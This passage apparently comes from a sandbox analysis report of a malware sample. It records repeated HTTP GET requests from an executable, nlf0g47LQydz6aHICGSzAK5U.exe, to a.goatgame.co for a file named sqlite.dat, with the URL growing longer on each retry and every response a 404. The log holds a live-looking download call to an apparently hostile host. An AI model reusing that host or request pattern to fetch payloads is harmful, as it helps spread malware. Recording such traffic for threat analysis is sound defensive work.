                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:10 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RT%2BpHAtpWzvrT7RLA07zF37aAE%2Fc7BUKZ35pyThqj%2FbGVqPjaOcXo6gRuWV%2BKEiIYsyNB%2BGvQJHpIChXHHp9bxL2k305YJjRDded7x%2FTq%2BU5U14PuEwPGKOzfbvfJ79P"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327e45b301e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2nZx6tF9jgs1iGuKyTp6dLTtj7H08GmA%2FNBr20l3994rz%2B6zrTL5PNrxcWziqrc%2FbkCzM8bhfhv%2BB411oYlLpLjhktsb8cYi%2Fp4Kn%2FLinMeKydSJVheZN0V541uyjnT7"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327eaba751e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:12 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cx0TvG1uayHSqlxDyoe0oamM4jc8DT2TKyJbCY%2Bs5oVFvqFrW73YJSxhMKy4Xql7TWrXVjHLRmDPexrTBU0Mhpb4Ay1M2tHuDDlr7Z33u3KQhPCPkrlk6P%2FvCt%2BCmngk"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327f44dd51e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:13 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FfbthCIrXoVNCQL8D2TYbySsvC8dABubagw%2BIG2wqgng9tqi0SFQ9d%2F5zpyQUDaxxbhJsbqMpVHn3PYttdq8LT3uxjMBoxi6yI7PCwWp3cZjPc%2FRHKeM9LeVGLk7gSvz"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327f7ca301e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:14 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vnkXWP3CrSdXo4iT%2F4KNxPilULMqUshJfRMMucKkKl%2F87EmDf3o3RSBNhsihhxMBMQDh%2BwJ7N3KW0Hq01Lm8VTHOTca1oT3Op%2FG483p7EcT1pB0vniepy9kYdkEZtKkn"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327fccfca1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:14 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uNl8w91jt5YgBj2jDXdp2lGu9Mvmd35lCVaC%2F5w2Ejnvkm4VPZ8zbmWon918R4EBQy9lC6OXILJyTBqrHlg%2B%2Bk2qBtYSdRACGpm0l7bkY8740qkudGdtqogJiIIlb%2BrB"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328011c6b1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:15 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cHpxfnO49PQz3E0laMeXh1GzbdGceJjFVt%2FIiiwHT6hDlXyUx6dYvsFV7w0gZf0fpO2mSlJoh61naVIpqppcaCLLekFmUL6gqhpPdlWvV5AyhteBV66FxrfPzzwRcH7f"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232806fb881e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:16 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yhyXdUP3RXCPx%2BHJxmSQsbU5Iuuua0qqpxtBvp93qS6ikMP%2FEWkpO%2BWNJNrOCqAvBOAcZ%2BCet3fu00%2BjVUPYtUVFgG%2FwJJMiOPIOF%2FWw5umwid1PmXDWZxNuhv5z2M2o"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823280ad8d91e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:18 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Vrc3cY6zaVMB4FwAkYFxY3CSANKrkGNXfEm2aC7qdU3eiCu5U3AYdgigP9DPdmS60bjOGC1sAMqc%2BAJlGbLO248zgIFfwzdeMYQYaruJnc0TS6Ic4CVXoF5rDQen5z3o"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328148e861e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:18 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PJSzOcmxRs9pBgZQIYexPOkz3PS5CDCHs%2Bn9JHlRJVzl8g3rHZhqP305b3gSqoEumfZKkao9LV%2FYaZ2Rrz2nWRSZuQiLqicVnJQwAFxuZh8O%2BlHeUrFyyo0qYIzxKW3E"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232819cdc61e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
